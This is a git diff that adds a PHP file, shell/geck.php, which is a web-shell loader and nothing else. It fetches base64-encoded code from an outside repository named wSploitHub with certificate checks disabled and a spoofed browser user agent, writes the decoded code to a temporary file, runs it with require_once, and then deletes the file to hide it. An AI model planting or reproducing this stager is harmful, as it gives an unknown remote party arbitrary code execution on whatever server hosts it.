diff --git a/shell/geck.php b/shell/geck.php new file mode 100644 index 0000000..ec24053 --- /dev/null +++ b/shell/geck.php @@ -0,0 +1,27 @@ +<?php + +function get_contents($url) { + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + $result = curl_exec($ch); + curl_close($ch); + return $result; +} + +$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/geck'; +$encoded_code = get_contents($url); +$decoded_code = base64_decode($encoded_code); + + +$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_'); +file_put_contents($tempFile, $decoded_code); + + +require_once $tempFile; +unlink($tempFile); + +?> \ No newline at end of file